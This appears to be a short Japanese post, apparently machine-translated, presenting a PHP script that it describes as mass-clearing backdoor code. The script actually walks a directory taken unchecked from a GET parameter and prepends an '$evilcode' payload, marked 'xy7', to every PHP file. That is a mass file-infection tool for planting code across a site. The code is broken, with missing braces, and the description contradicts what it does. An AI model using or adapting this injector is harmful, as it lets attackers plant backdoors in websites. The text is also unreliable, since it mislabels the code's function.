phpで大量に検索して裏口のコードをクリアすることを実現します。


いつも一言を忘れてどの書類に入れましたか?直接全部消しました。

<?//xy7 
if (!isset($dir) or empty($dir)) { 
$dir=str_replace('\\','/',dirname(__FILE__)); 
echo "<font color=\"#00688B\">".$dir."</font>"; 
} else { 
$dir=$_GET['dir']; 
echo "<font color=\"#00688B\">".$dir."</font>"; 

$evilcode="<?phpinfo();//xy7?>"; 
$testdir = opendir($dir); 
while($filea = @readdir($testdir)){ 
if(strstr($filea, '.php')){ 
$fp = @fopen($filea, 'r+'); 
if (!strstr(@fread($fp, 20), 'xy7')){ 
rewind($fp); 
$old = @fread($fp, filesize($filea)); 
rewind($fp); 
fwrite($fp, $evilcode . $old); 

fclose($fp); 


closedir($testdir); 
?> 
<hr> 
<table width="100%" border="0" cellpadding="3" cellspacing="1"> 
<tr> 
<td><b> X </b></td> 
<td><b> </b></td> 
<td><b> </b></td> 
</tr> 
<?php 
$dirs=@opendir($dir); 
while ($file=@readdir($dirs)) { 
if ((is_file($file)) and (ereg("\.php{0,1}$",$file))) 
{$b="$dir/$file"; 
$a=@is_dir($b); 
if($a=="0"){ 
$size=@filesize("$dir/$file"); 
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file")); 
echo "<tr>
"; 
echo "<td>$file</td>
"; 
echo " <td>$lastsave</td>
"; 
echo " <td>$size Bytes</td>
"; 



@closedir($dirs); 
?> 
</table> 
codz。 by xual nmu